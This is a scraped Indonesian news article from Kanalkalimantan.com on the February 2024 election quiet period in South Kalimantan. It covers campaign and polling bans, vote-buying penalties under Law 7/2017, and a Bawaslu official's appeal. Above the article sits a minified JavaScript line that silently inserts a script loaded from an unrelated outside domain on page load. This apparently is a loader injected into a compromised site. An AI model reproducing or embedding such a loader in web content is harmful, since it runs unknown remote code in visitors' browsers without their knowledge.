(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Setelah tahapan masa kampanye Pemilu 2024 selama 75 hari selesai, masa tenang resmi dimulai, Minggu (11/2/2024).
Selama 3 hari hingga hari H pemungutan suara tanggal 14 Februari 2023, sejumlah larangan berlaku bagi selurh peserta Pemilu di semua tingkatan.
Selama masa tenang, seluruh peserta Pemilu dilarang melakukan kegiatan yang mengarah kepada aktivitas kampanye. Aturan itu tertuang dalam Undang-Undang Nomor 7 Tahun 2017 pasal 1 angka 36 bahwa masa tenang adalah masa yang tidak dapat digunakan untuk melakukan aktifitas kampanye Pemilu.
Peserta Pemilu selama masa tenang juga dilarang menyiarkan berita, iklan, rekam jejak peserta Pemilu yang mengarah pada kepentingan kampanye. Hal itu berlaku di media massa cetak, media online, maupun media sosial (Medsos). Dasar hukumnya tertuang dalam Pasal 287 ayat (5) Undang-Undang Nomor 7 tentang Pemilu.
Baca juga: Tak Dilepas Pemilik, Baliho Caleg dan Bendera Parpol Diturunkan Bawaslu Banjarbaru
Kemudian dalam pasal 449 ayat 2, jejak pendapat yang dilakukan oleh lembaga survei juga terlarang untuk dilakukan.
Selanjutnya, memberikan ataupun menjanjikan sesuatu kepada pemilih untuk memilih pasangan calon tertentu, memilih Parpol tertentu, memilih caleg DPR RI dan DPD, memilih DPRD Provinsi dan Kabupaten/Kota, ataupun tidak menggunakan hak pilihnya, juga sangat dilarang dan ada konsekuensi hukum bagi yang melanggaranya.
Pasal 523 ayat 2 Undang-Undang Nomor 7 Tahun 2017 tentang Pemilu mengatur, pelaksana, peserta, atau tim kampanye Pemilu yang dengan sengaja pada masa tenang menjanjikan atau memberikan imbalan uang atau materi lainnya kepada pemilih secara langsung ataupun tidak langsung dapat dipidana dengan pidana penjara paling lama 4 tahun dan denda paling banyak Rp48.000.000.
Baca juga: Masa Tenang Masih Terpasang, APK di Martapura Kota Diturunkan Pengawas
Anggota Bawaslu Provinsi Kalimantan Selatan, Thessa Aji Budiono mengatakan, jajaran Bawaslu Provinsi dan Kabupaten/Kota telah mengirimkan surat imbauan terkait masa tenang kepada seluruh peserta Pemilu.
Isinya dal surat imbauan pada pokoknya mengimbau agar peserta pemiku mentaati larangan selama masa tenang sebagaimana yang diatur dalam Undang-Undang Nomor 7 Tahun 2017 pasal 1 angka 36 bahwa masa tenang adalah masa yang tidak dapat digunakan untuk melakukan aktifitas kampanye Pemilu.
Termasuk pada surat tersebut kata Thessa, pihaknya sebelumnya meminta peserta Pemilu untuk menurunkan alat peraga kampanye (APK) yang masih terpasang, sebelum diterbitkan oleh petugas.
“Intinya kita mengimbau peserta Pemilu agar tidak melakukan aktivitas kampanye dengan metode apapun,” jelas Thessa. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More
KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More
This website uses cookies.